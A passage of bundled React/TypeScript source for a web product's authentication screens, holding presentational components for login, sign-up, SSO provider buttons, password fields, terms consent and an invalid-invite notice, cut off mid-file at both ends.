lowerPathColor=\"var(--color-accent-primary)\"\n        upperPathColor=\"var(--color-text-primary)\"\n      />\n      <span className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">OpenFrame</span>\n    </div>\n  )\n}\n\nexport interface PoweredByFlamingoProps {\n  /** Keep the small 56×16 logo at every breakpoint (default grows to 83×24 from tablet up). */\n  compact?: boolean\n}\n\n/** \"Powered by Flamingo\" footer mark. */\nexport function PoweredByFlamingo({ compact = false }: PoweredByFlamingoProps) {\n  return (\n    <div className=\"flex items-center gap-[var(--spacing-system-xs)] text-ods-text-secondary\">\n      <span className=\"text-h6\">Powered by</span>\n      {/* logo is 416×120 (≈3.47:1) — set explicit w/h so it isn't squashed to a square. */}\n      <FlamingoLogoIcon className={compact ? 'h-4 w-14' : 'h-4 w-14 md:h-6 md:w-[83px]'} />\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { OpenFrameWordmark, PoweredByFlamingo } from './auth-branding'\nimport { AuthBenefitsPanel } from './auth-benefits-panel'\n\nexport interface AuthShellProps {\n  /** Tab selector (Sign Up / Login) rendered above the form. */\n  tabs?: React.ReactNode\n  /** Main form content (Create Organization, Login, …). */\n  children: React.ReactNode\n  /** Marketing panel. Defaults to <AuthBenefitsPanel />. */\n  benefits?: React.ReactNode\n  /** Pinned to the bottom-left of the form column on desktop only (e.g. \"Back to Login\"). */\n  footer?: React.ReactNode\n  className?: string\n}\n\n/**\n * Responsive layout shell for the auth pages. Desktop shows a two-column split\n * (form left, marketing right); tablet and mobile stack into a single centered\n * column (tabs → form → benefits → powered-by). Content is top-aligned. The\n * wordmark appears only in the desktop marketing column — narrow screens go\n * without it (in the native mobile shell a top logo sat under the status bar\n * and was clipped inconsistently across devices).\n *\n * `of-auth-shell` on the root is a stable hook for shell/consumer CSS (the\n * native mobile shell pads it by the top safe-area inset).\n */\nexport function AuthShell({ tabs, children, benefits, footer, className }: AuthShellProps) {\n  const benefitsNode = benefits ?? <AuthBenefitsPanel />\n\n  return (\n    <div className={cn('of-auth-shell min-h-screen w-full bg-ods-bg lg:flex lg:h-screen lg:overflow-hidden', className)}>\n      {/* Main column — form */}\n      <div className=\"flex min-h-screen w-full flex-col items-center p-[var(--spacing-system-l)] lg:h-full lg:min-h-0 lg:w-1/2 lg:justify-start lg:overflow-y-auto lg:px-[var(--spacing-system-xl)] lg:py-[var(--spacing-system-xxl)]\">\n        <div\n          className={cn(\n            'flex w-full max-w-[600px] flex-col items-center gap-[var(--spacing-system-l)]',\n            footer && 'lg:min-h-full',\n          )}\n        >\n          {/* Full width on mobile; fixed 320px from tablet up (matches desktop) */}\n          {tabs && <div className=\"w-full md:max-w-[320px]\">{tabs}</div>}\n          <div className=\"w-full\">{children}</div>\n\n          {/* Benefits + powered-by — narrow screens only */}\n          <div className=\"flex w-full flex-col items-center gap-[var(--spacing-system-l)] lg:hidden\">\n            {benefitsNode}\n            <PoweredByFlamingo />\n          </div>\n\n          {/* Footer — pinned to the bottom-left of the column on desktop only */}\n          {footer && <div className=\"hidden w-full self-start lg:mt-auto lg:block\">{footer}</div>}\n        </div>\n      </div>\n\n      {/* Marketing column — desktop only */}\n      <div className=\"hidden border-l border-ods-border bg-ods-card lg:flex lg:h-full lg:w-1/2 lg:flex-col lg:items-center lg:justify-start lg:gap-[var(--spacing-system-xxl)] lg:overflow-y-auto lg:px-[var(--spacing-system-xl)] lg:py-[var(--spacing-system-xxl)]\">\n        <OpenFrameWordmark />\n        <div className=\"w-full max-w-lg\">{benefitsNode}</div>\n        <PoweredByFlamingo />\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\n\nexport interface BackToLoginLinkProps {\n  onClick: () => void\n  label?: string\n  className?: string\n}\n\n/** Underlined \"Back to Login\" text link used across the auth screens. */\nexport function BackToLoginLink({ onClick, label = 'Back to Login', className }: BackToLoginLinkProps) {\n  return (\n    <button\n      type=\"button\"\n      onClick={onClick}\n      className={cn('text-h4 text-ods-text-secondary underline', className)}\n    >\n      {label}\n    </button>\n  )\n}\n","'use client'\n\nimport type * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { useDeferredError } from '../../../hooks/ui/use-deferred-error'\nimport { Button } from '../../ui/button'\nimport { Input } from '../../ui/input'\nimport { PasswordInput } from '../../ui/password-input'\nimport type { AuthSsoProvider } from './sso-providers'\nimport { SsoProviderButtons } from './sso-providers'\n\nexport interface CompleteAccountFormProps {\n  /** Controlled field values */\n  firstName: string\n  lastName: string\n  password: string\n  confirmPassword: string\n  onFirstNameChange: (value: string) => void\n  onLastNameChange: (value: string) => void\n  onPasswordChange: (value: string) => void\n  onConfirmPasswordChange: (value: string) => void\n  /** Primary submit (\"Start Free Trial\") */\n  onSubmit: () => void\n  /** Secondary action rendered left of the submit (e.g. \"Back to Organization\"). */\n  onBack?: () => void\n  /** SSO alternatives offered above the fields (\"Continue with …\"). */\n  ssoProviders?: AuthSsoProvider[]\n  onSsoClick?: (provider: AuthSsoProvider) => void\n  title?: string\n  subtitle?: string\n  dividerLabel?: string\n  submitLabel?: string\n  backLabel?: string\n  ssoActionLabel?: string\n  submitDisabled?: boolean\n  loading?: boolean\n  disabled?: boolean\n  errors?: {\n    firstName?: string\n    lastName?: string\n    password?: string\n    confirmPassword?: string\n  }\n  className?: string\n  /** Extra consumer-provided fields rendered below the built-in fields, above the actions. */\n  children?: React.ReactNode\n}\n\n/**\n * Account details form shared by the Sign Up (\"Complete your Account\") and\n * Accept Invitation screens. Presentational + controlled — SSO shortcuts on\n * top, then name + password fields (\"or create account\").\n */\nexport function CompleteAccountForm({\n  firstName,\n  lastName,\n  password,\n  confirmPassword,\n  onFirstNameChange,\n  onLastNameChange,\n  onPasswordChange,\n  onConfirmPasswordChange,\n  onSubmit,\n  onBack,\n  ssoProviders,\n  onSsoClick,\n  title = 'Complete your Account',\n  subtitle = 'Fill in the details below to get started',\n  dividerLabel = 'or create account',\n  submitLabel = 'Start Free Trial',\n  backLabel = 'Back to Organization',\n  ssoActionLabel = 'Continue with',\n  submitDisabled = false,\n  loading = false,\n  disabled = false,\n  errors,\n  className,\n  children,\n}: CompleteAccountFormProps) {\n  const fieldsDisabled = disabled || loading\n\n  // Validation messages are deferred while the user is typing (shown on blur or after a pause).\n  const firstNameErr = useDeferredError(errors?.firstName, firstName)\n  const lastNameErr = useDeferredError(errors?.lastName, lastName)\n  const passwordErr = useDeferredError(errors?.password, password)\n  const confirmErr = useDeferredError(errors?.confirmPassword, confirmPassword)\n\n  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {\n    if (event.key === 'Enter' && !fieldsDisabled && !submitDisabled) {\n      onSubmit()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      {/* Header */}\n      <div className=\"flex flex-col\">\n        <h1 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">{title}</h1>\n        <p className=\"text-h4 text-ods-text-secondary\">{subtitle}</p>\n      </div>\n\n      {/* SSO shortcuts + divider */}\n      {ssoProviders && ssoProviders.length > 0 && (\n        <>\n          <SsoProviderButtons\n            providers={ssoProviders}\n            onSsoClick={onSsoClick}\n            actionLabel={ssoActionLabel}\n            disabled={fieldsDisabled}\n          />\n          <div className=\"flex items-center gap-[var(--spacing-system-s)]\">\n            <div className=\"h-px flex-1 bg-ods-border\" />\n            <span className=\"text-h6 text-ods-text-secondary\">{dividerLabel}</span>\n            <div className=\"h-px flex-1 bg-ods-border\" />\n          </div>\n        </>\n      )}\n\n      {/* Name + password fields — single column on every breakpoint */}\n      <Input\n        label=\"First Name\"\n        placeholder=\"Enter First Name\"\n        value={firstName}\n        error={firstNameErr.error}\n        disabled={fieldsDisabled}\n        onBlur={firstNameErr.onBlur}\n        onChange={(event) => onFirstNameChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <Input\n        label=\"Last Name\"\n        placeholder=\"Enter Last Name\"\n        value={lastName}\n        error={lastNameErr.error}\n        disabled={fieldsDisabled}\n        onBlur={lastNameErr.onBlur}\n        onChange={(event) => onLastNameChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <PasswordInput\n        label=\"Password\"\n        placeholder=\"Enter Password\"\n        value={password}\n        error={passwordErr.error}\n        disabled={fieldsDisabled}\n        onBlur={passwordErr.onBlur}\n        onChange={(event) => onPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <PasswordInput\n        label=\"Confirm Password\"\n        placeholder=\"Confirm Password\"\n        value={confirmPassword}\n        error={confirmErr.error}\n        disabled={fieldsDisabled}\n        onBlur={confirmErr.onBlur}\n        onChange={(event) => onConfirmPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {children}\n\n      {/* Actions — optional back + submit */}\n      <div className=\"flex items-center gap-[var(--spacing-system-l)]\">\n        {onBack ? (\n          <Button\n            type=\"button\"\n            variant=\"transparent\"\n            fullWidth\n            className=\"flex-1\"\n            disabled={fieldsDisabled}\n            onClick={onBack}\n          >\n            {backLabel}\n          </Button>\n        ) : (\n          // Spacer keeps the button on the right half, matching the design\n          <div className=\"flex-1\" />\n        )}\n        <Button\n          type=\"button\"\n          variant=\"accent\"\n          fullWidth\n          className=\"flex-1\"\n          loading={loading}\n          disabled={disabled || submitDisabled}\n          onClick={onSubmit}\n        >\n          {submitLabel}\n        </Button>\n      </div>\n    </div>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { EyeIcon } from \"../icons-v2-generated/interface/eye-icon\"\nimport { EyeOffIcon } from \"../icons-v2-generated/interface/eye-off-icon\"\nimport { Input, type InputProps } from \"./input\"\n\nexport type PasswordInputProps = Omit<InputProps, \"type\" | \"endAdornment\">\n\n/** Password field with a show/hide toggle (eye icon), built on the base Input. */\nconst PasswordInput = React.forwardRef<HTMLInputElement, PasswordInputProps>(({ disabled, className, ...props }, ref) => {\n  const [visible, setVisible] = React.useState(false)\n  const Icon = visible ? EyeOffIcon : EyeIcon\n\n  return (\n    <Input\n      ref={ref}\n      type={visible ? \"text\" : \"password\"}\n      disabled={disabled}\n      // Ellipsize an over-long password/value when the field isn't focused (per the mockup)\n      className={cn(\"[&_input]:text-ellipsis\", className)}\n      endAdornment={\n        <button\n          type=\"button\"\n          tabIndex={-1}\n          disabled={disabled}\n          aria-label={visible ? \"Hide password\" : \"Show password\"}\n          onClick={() => setVisible((value) => !value)}\n          className=\"flex items-center text-ods-text-secondary transition-colors hover:text-ods-text-primary disabled:cursor-not-allowed\"\n        >\n          <Icon className=\"h-6 w-6\" />\n        </button>\n      }\n      {...props}\n    />\n  )\n})\nPasswordInput.displayName = \"PasswordInput\"\n\nexport { PasswordInput }\n","'use client'\n\nimport * as React from 'react'\nimport { OpenFrameLogo } from '../../icons'\nimport { AppleLogoIcon } from '../../icons-v2-generated/brand-logos/apple-logo-icon'\nimport { GoogleLogoIcon } from '../../icons-v2-generated/brand-logos/google-logo-icon'\nimport { MicrosoftLogoIcon } from '../../icons-v2-generated/brand-logos/microsoft-logo-icon'\nimport { Button } from '../../ui/button'\n\n/** SSO providers offered on the auth forms. */\nexport type AuthSsoProvider = 'openframe' | 'google' | 'microsoft' | 'apple'\n\nexport const PROVIDER_META: Record<\n  AuthSsoProvider,\n  { name: string; Icon: React.ComponentType<{ className?: string }> }\n> = {\n  openframe: {\n    name: 'OpenFrame SSO',\n    Icon: ({ className }) => (\n      <OpenFrameLogo\n        className={className}\n        lowerPathColor=\"var(--color-accent-primary)\"\n        upperPathColor=\"var(--color-text-primary)\"\n      />\n    ),\n  },\n  google: { name: 'Google', Icon: GoogleLogoIcon },\n  microsoft: { name: 'Microsoft', Icon: MicrosoftLogoIcon },\n  apple: { name: 'Apple', Icon: AppleLogoIcon },\n}\n\nexport interface SsoProviderButtonsProps {\n  providers: AuthSsoProvider[]\n  onSsoClick?: (provider: AuthSsoProvider) => void\n  /** Verb prefix for provider buttons, e.g. \"Continue with\". Ignored for \"openframe\". */\n  actionLabel?: string\n  disabled?: boolean\n  /**\n   * When set, only these providers are clickable and the rest render disabled —\n   * e.g. unlock just the providers a discovered tenant actually offers.\n   * `disabled` still wins over this list.\n   */\n  enabledProviders?: AuthSsoProvider[]\n}\n\n/** Stacked full-width SSO provider buttons shared by the auth forms. */\nexport function SsoProviderButtons({\n  providers,\n  onSsoClick,\n  actionLabel = 'Continue with',\n  disabled = false,\n  enabledProviders,\n}: SsoProviderButtonsProps) {\n  return (\n    <div className=\"flex flex-col gap-[var(--spacing-system-l)]\">\n      {providers.map((provider) => {\n        const meta = PROVIDER_META[provider]\n        const Icon = meta.Icon\n        return (\n          <Button\n            key={provider}\n            type=\"button\"\n            variant=\"outline\"\n            fullWidth\n            disabled={disabled || (enabledProviders ? !enabledProviders.includes(provider) : false)}\n            // Disabled buttons recede to the page background (like a disabled input), per design\n            className=\"disabled:bg-ods-bg\"\n            leftIcon={<Icon className=\"h-5 w-5\" />}\n            onClick={() => onSsoClick?.(provider)}\n          >\n            {provider === 'openframe' ? meta.name : `${actionLabel} ${meta.name}`}\n          </Button>\n        )\n      })}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { useDeferredError } from '../../../hooks/ui/use-deferred-error'\nimport { Button } from '../../ui/button'\nimport { CheckboxBlock } from '../../ui/checkbox-block'\nimport { Input } from '../../ui/input'\nimport type { AuthSsoProvider } from './sso-providers'\nimport { SsoProviderButtons } from './sso-providers'\nimport { TermsAgreementLabel } from './terms-agreement-label'\n\nexport interface CreateOrganizationFormProps {\n  /** Controlled field values */\n  email: string\n  organizationName: string\n  domain: string\n  agreedToTerms: boolean\n  /** Change handlers */\n  onEmailChange: (value: string) => void\n  onOrganizationNameChange: (value: string) => void\n  onDomainChange: (value: string) => void\n  onAgreedToTermsChange: (checked: boolean) => void\n  /** Primary submit (\"Continue\") */\n  onSubmit: () => void\n  /** Suffix rendered inside the domain input, e.g. \".openframe.ai\" */\n  domainSuffix?: string\n  domainPlaceholder?: string\n  termsUrl?: string\n  privacyPolicyUrl?: string\n  submitLabel?: string\n  /** Disables just the primary submit (fields stay editable). */\n  submitDisabled?: boolean\n  loading?: boolean\n  disabled?: boolean\n  errors?: {\n    email?: string\n    organizationName?: string\n    domain?: string\n    terms?: string\n  }\n  /** Informational status under the email field (e.g. live availability). `errors.email` wins. */\n  emailStatus?: { message: string; variant: 'error' | 'warning' | 'success' | 'muted' }\n  /** Informational status under the domain field (e.g. live availability). `errors.domain` wins. */\n  domainStatus?: { message: string; variant: 'error' | 'warning' | 'success' | 'muted' }\n  /** Extra content rendered under the domain field, e.g. suggested available domains. */\n  domainSlot?: React.ReactNode\n  /**\n   * SSO registration alternatives rendered below the primary submit behind an\n   * \"or continue with\" divider. The form fields stay editable — gate the\n   * buttons with `ssoDisabled` (e.g. until the form validates).\n   */\n  ssoProviders?: AuthSsoProvider[]\n  onSsoClick?: (provider: AuthSsoProvider) => void\n  /** Disables the provider buttons (e.g. until the form validates). */\n  ssoDisabled?: boolean\n  /** Verb prefix for provider buttons, e.g. \"Continue with\". Ignored for \"openframe\". */\n  ssoActionLabel?: string\n  /** Divider text between the primary submit and the SSO buttons. */\n  dividerLabel?: string\n  className?: string\n}\n\n/**\n * Create Organization form (Sign Up tab). Presentational + controlled — the\n * consumer owns state, validation and submission. Covers the empty, filled and\n * SSO states from the auth redesign.\n */\nexport function CreateOrganizationForm({\n  email,\n  organizationName,\n  domain,\n  agreedToTerms,\n  onEmailChange,\n  onOrganizationNameChange,\n  onDomainChange,\n  onAgreedToTermsChange,\n  onSubmit,\n  domainSuffix,\n  domainPlaceholder = 'company-name',\n  termsUrl = '#',\n  privacyPolicyUrl = '#',\n  submitLabel = 'Continue',\n  submitDisabled = false,\n  loading = false,\n  disabled = false,\n  errors,\n  emailStatus,\n  domainStatus,\n  domainSlot,\n  ssoProviders,\n  onSsoClick,\n  ssoDisabled = false,\n  ssoActionLabel = 'Continue with',\n  dividerLabel = 'or continue with',\n  className,\n}: CreateOrganizationFormProps) {\n  const hasSso = !!ssoProviders && ssoProviders.length > 0\n  const fieldsDisabled = disabled || loading\n\n  // Validation messages are deferred while the user is typing (shown on blur or after a pause).\n  const emailErr = useDeferredError(errors?.email, email)\n  const orgNameErr = useDeferredError(errors?.organizationName, organizationName)\n  const domainErr = useDeferredError(errors?.domain, domain)\n\n  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {\n    if (event.key === 'Enter' && !fieldsDisabled) {\n      onSubmit()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      {/* Header */}\n      <div className=\"flex flex-col\">\n        <h1 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">Create Organization</h1>\n        <p className=\"text-h4 text-ods-text-secondary\">Start your journey with OpenFrame.</p>\n      </div>\n\n      {/* Email + Organization Name — single column on every breakpoint */}\n      <Input\n        type=\"email\"\n        label=\"Email\"\n        placeholder=\"username@mail.com\"\n        value={email}\n        error={emailErr.error ?? emailStatus?.message}\n        errorVariant={emailErr.error ? 'error' : emailStatus?.variant}\n        disabled={fieldsDisabled}\n        onBlur={emailErr.onBlur}\n        onChange={(event) => onEmailChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n      <Input\n        label=\"Organization Name\"\n        placeholder=\"Your Company Name\"\n        value={organizationName}\n        error={orgNameErr.error}\n        disabled={fieldsDisabled}\n        onBlur={orgNameErr.onBlur}\n        onChange={(event) => onOrganizationNameChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* Domain */}\n      <div className=\"flex flex-col\">\n        <Input\n          label=\"Domain\"\n          placeholder={domainPlaceholder}\n          value={domain}\n          error={domainErr.error ?? domainStatus?.message}\n          errorVariant={domainErr.error ? 'error' : domainStatus?.variant}\n          disabled={fieldsDisabled}\n          onBlur={domainErr.onBlur}\n          endAdornment={domainSuffix ? <span className=\"whitespace-nowrap\">{domainSuffix}</span> : undefined}\n          onChange={(event) => onDomainChange(event.target.value)}\n          onKeyDown={handleKeyDown}\n        />\n        {domainSlot && <div className=\"pt-[var(--spacing-system-s)]\">{domainSlot}</div>}\n      </div>\n\n      {/* Terms & Privacy — deliberately NOT `truncateLabel`. That prop suits a\n          one-line value; this label is a sentence carrying the Terms and Privacy\n          Policy links, and ellipsizing it clipped the row to \"Agree to Terms &\n          Privacy Policy by sig…\" below ~500px, so on a phone the user could not\n          read what they were agreeing to. Wrapping is the only acceptable\n          overflow behaviour for consent copy. */}\n      <CheckboxBlock\n        id=\"create-org-terms\"\n        label={<TermsAgreementLabel termsUrl={termsUrl} privacyPolicyUrl={privacyPolicyUrl} />}\n        checked={agreedToTerms}\n        disabled={fieldsDisabled}\n        error={errors?.terms}\n        onCheckedChange={onAgreedToTermsChange}\n      />\n\n      {/* Actions */}\n      <Button\n        type=\"button\"\n        variant=\"accent\"\n        fullWidth\n        loading={loading}\n        disabled={disabled || submitDisabled}\n        onClick={onSubmit}\n      >\n        {submitLabel}\n      </Button>\n\n      {/* SSO registration alternatives */}\n      {hasSso && (\n        <>\n          <div className=\"flex items-center gap-[var(--spacing-system-s)]\">\n            <div className=\"h-px flex-1 bg-ods-border\" />\n            <span className=\"text-h6 text-ods-text-secondary\">{dividerLabel}</span>\n            <div className=\"h-px flex-1 bg-ods-border\" />\n          </div>\n          <SsoProviderButtons\n            providers={ssoProviders!}\n            onSsoClick={onSsoClick}\n            actionLabel={ssoActionLabel}\n            disabled={disabled || loading || ssoDisabled}\n          />\n        </>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nexport interface TermsAgreementLabelProps {\n  termsUrl?: string\n  privacyPolicyUrl?: string\n}\n\n/** \"Agree to Terms & Privacy Policy by signing up.\" — shared checkbox label. */\nexport function TermsAgreementLabel({ termsUrl = '#', privacyPolicyUrl = '#' }: TermsAgreementLabelProps) {\n  return (\n    <span className=\"text-h4 text-ods-text-primary\">\n      {'Agree to '}\n      <a\n        href={termsUrl}\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"text-ods-text-secondary underline\"\n        onClick={(event) => event.stopPropagation()}\n      >\n        Terms\n      </a>\n      {' & '}\n      <a\n        href={privacyPolicyUrl}\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"text-ods-text-secondary underline\"\n        onClick={(event) => event.stopPropagation()}\n      >\n        Privacy Policy\n      </a>\n      {' by signing up.'}\n    </span>\n  )\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { XmarkIcon } from '../../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport { Button } from '../../ui/button'\n\nexport interface InviteLinkInvalidModalProps {\n  onBackToLogin: () => void\n  /** Dismiss (X). Defaults to onBackToLogin. */\n  onClose?: () => void\n  title?: string\n  description?: string\n  backLabel?: string\n  className?: string\n}\n\n/**\n * Notice shown when an invitation link is expired or invalid. Full-screen dark\n * backdrop with a single card — pinned to the bottom on mobile, centered from\n * tablet up; both the X and the button return to login.\n */\nexport function InviteLinkInvalidModal({\n  onBackToLogin,\n  onClose,\n  title = 'Invite link not valid',\n  description = 'This invitation link has expired or is no longer valid. Contact your administrator for a new invitation.',\n  backLabel = 'Back to Login',\n  className,\n}: InviteLinkInvalidModalProps) {\n  return (\n    <div className={cn('flex min-h-screen w-full items-end justify-center bg-ods-bg p-[var(--spacing-system-l)] md:items-center', className)}>\n      <div className=\"flex w-full max-w-[600px] flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]\">\n        {/* Title + close */}\n        <div className=\"flex items-center gap-[var(--spacing-system-mf)]\">\n          <h1 className=\"flex-1 text-h2 text-ods-text-primary tracking-[-0.64px]\">{title}</h1>\n          {/* Close (X) — desktop/tablet only, per design */}\n          <button type=\"button\" aria-label=\"Close\" onClick={onClose ?? onBackToLogin} className=\"hidden shrink-0 text-ods-text-primary md:block\">\n            <XmarkIcon className=\"h-6 w-6\" />\n          </button>\n        </div>\n\n        <p className=\"text-h4 text-ods-text-primary\">{description}</p>\n\n        {/* Action — right half, matching the design */}\n        <div className=\"flex items-center gap-[var(--spacing-system-l)]\">\n          <div className=\"hidden flex-1 md:block\" />\n          <Button type=\"button\" variant=\"accent\" fullWidth className=\"md:flex-1\" onClick={onBackToLogin}>\n            {backLabel}\n          </Button>\n        </div>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport type * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { useDeferredError } from '../../../hooks/ui/use-deferred-error'\nimport { Input } from '../../ui/input'\nimport type { AuthSsoProvider } from './sso-providers'\nimport { SsoProviderButtons } from './sso-providers'\n\nexport interface LoginFormProps {\n  /** Controlled email value */\n  email: string\n  onEmailChange: (value: string) => void\n  /** Enter-key handler on the email field (optional). */\n  onSubmit?: () => void\n  emailPlaceholder?: string\n  loading?: boolean\n  disabled?: boolean\n  errors?: {\n    email?: string\n  }\n  /** Informational status under the email field (e.g. live tenant discovery). `errors.email` wins. */\n  emailStatus?: { message: string; variant: 'error' | 'warning' | 'success' | 'muted' }\n  /**\n   * SSO providers rendered below the email field. Always visible; gate\n   * clickability with `ssoDisabled` / `ssoEnabledProviders`.\n   */\n  ssoProviders: AuthSsoProvider[]\n  onSsoClick?: (provider: AuthSsoProvider) => void\n  /** Disables every provider button (e.g. until the email passes discovery). */\n  ssoDisabled?: boolean\n  /** When set, only these providers are clickable; the rest stay disabled. */\n  ssoEnabledProviders?: AuthSsoProvider[]\n  /** Verb prefix for provider buttons, e.g. \"Continue with\". Ignored for \"openframe\". */\n  ssoActionLabel?: string\n  className?: string\n}\n\n/**\n * Login form (Login tab). Presentational + controlled — the consumer owns\n * state, validation and discovery. Single-screen design: the email field and\n * the SSO provider buttons are always visible; the buttons unlock once the\n * consumer validates the email (real-time tenant discovery).\n */\nexport function LoginForm({\n  email,\n  onEmailChange,\n  onSubmit,\n  emailPlaceholder = 'username@mail.com',\n  loading = false,\n  disabled = false,\n  errors,\n  emailStatus,\n  ssoProviders,\n  onSsoClick,\n  ssoDisabled = false,\n  ssoEnabledProviders,\n  ssoActionLabel = 'Continue with',\n  className,\n}: LoginFormProps) {\n  const fieldDisabled = disabled || loading\n\n  // Validation messages are deferred while the user is typing (shown on blur or after a pause).\n  const emailErr = useDeferredError(errors?.email, email)\n\n  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {\n    if (event.key === 'Enter' && !fieldDisabled) {\n      onSubmit?.()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      {/* Header */}\n      <div className=\"flex flex-col\">\n        <h1 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">Login to OpenFrame</h1>\n        <p className=\"text-h4 text-ods-text-secondary\">Enter your email to access your organization.</p>\n      </div>\n\n      {/* Email */}\n      <Input\n        type=\"email\"\n        label=\"Email\"\n        placeholder={emailPlaceholder}\n        value={email}\n        error={emailErr.error ?? emailStatus?.message}\n        errorVariant={emailErr.error ? 'error' : emailStatus?.variant}\n        disabled={fieldDisabled}\n        onBlur={emailErr.onBlur}\n        onChange={(event) => onEmailChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* SSO providers — always visible, unlocked by the consumer */}\n      <SsoProviderButtons\n        providers={ssoProviders}\n        onSsoClick={onSsoClick}\n        actionLabel={ssoActionLabel}\n        disabled={disabled || loading || ssoDisabled}\n        enabledProviders={ssoEnabledProviders}\n      />\n    </div>\n  )\n}\n","'use client'\n\nimport type * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { useDeferredError } from '../../../hooks/ui/use-deferred-error'\nimport { Button } from '../../ui/button'\nimport { Input } from '../../ui/input'\nimport { PasswordInput } from '../../ui/password-input'\n\nexport interface OpenFrameSsoLoginFormProps {\n  /** Controlled field values */\n  email: string\n  password: string\n  onEmailChange: (value: string) => void\n  onPasswordChange: (value: string) => void\n  /** Primary submit (\"Continue\") */\n  onSubmit: () => void\n  onForgotPassword: () => void\n  submitDisabled?: boolean\n  loading?: boolean\n  disabled?: boolean\n  errors?: {\n    email?: string\n    password?: string\n  }\n  title?: string\n  subtitle?: string\n  emailLabel?: string\n  passwordLabel?: string\n  emailPlaceholder?: string\n  passwordPlaceholder?: string\n  forgotPasswordLabel?: string\n  submitLabel?: string\n  className?: string\n}\n\n/**\n * OpenFrame SSO login form. Presentational + controlled — email + password to\n * sign in via OpenFrame's own SSO. Rendered inside SsoAuthShell.\n */\nexport function OpenFrameSsoLoginForm({\n  email,\n  password,\n  onEmailChange,\n  onPasswordChange,\n  onSubmit,\n  onForgotPassword,\n  submitDisabled = false,\n  loading = false,\n  disabled = false,\n  errors,\n  title = 'OpenFrame Single Sign-On',\n  subtitle = 'Enter your email and password to access your organization.',\n  emailLabel = 'Email',\n  passwordLabel = 'Password',\n  emailPlaceholder = 'username@mail.com',\n  passwordPlaceholder = 'Enter Your Password',\n  forgotPasswordLabel = 'Forgot Password?',\n  submitLabel = 'Continue',\n  className,\n}: OpenFrameSsoLoginFormProps) {\n  const fieldsDisabled = disabled || loading\n\n  // Validation messages are deferred while the user is typing (shown on blur or after a pause).\n  const emailErr = useDeferredError(errors?.email, email)\n  const passwordErr = useDeferredError(errors?.password, password)\n\n  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {\n    if (event.key === 'Enter' && !fieldsDisabled && !submitDisabled) {\n      onSubmit()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-l)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      {/* Header */}\n      <div className=\"flex flex-col gap-[var(--spacing-system-xs)]\">\n        <h1 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">{title}</h1>\n        <p className=\"text-h4 text-ods-text-secondary\">{subtitle}</p>\n      </div>\n\n      <Input\n        type=\"email\"\n        label={emailLabel}\n        placeholder={emailPlaceholder}\n        value={email}\n        error={emailErr.error}\n        disabled={fieldsDisabled}\n        onBlur={emailErr.onBlur}\n        onChange={(event) => onEmailChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      <PasswordInput\n        label={passwordLabel}\n        placeholder={passwordPlaceholder}\n        value={password}\n        error={passwordErr.error}\n        disabled={fieldsDisabled}\n        onBlur={passwordErr.onBlur}\n        onChange={(event) => onPasswordChange(event.target.value)}\n        onKeyDown={handleKeyDown}\n      />\n\n      {/* Forgot password + Continue */}\n      <div className=\"flex items-center gap-[var(--spacing-system-l)]\">\n        <Button\n          type=\"button\"\n          variant=\"transparent\"\n          fullWidth\n          className=\"flex-1\"\n          disabled={fieldsDisabled}\n          onClick={onForgotPassword}\n        >\n          {forgotPasswordLabel}\n        </Button>\n        <Button\n          type=\"button\"\n          variant=\"accent\"\n          fullWidth\n          className=\"flex-1\"\n          loading={loading}\n          disabled={disabled || submitDisabled}\n          onClick={onSubmit}\n        >\n          {submitLabel}\n        </Button>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport type * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { useDeferredError } from '../../../hooks/ui/use-deferred-error'\nimport { Button } 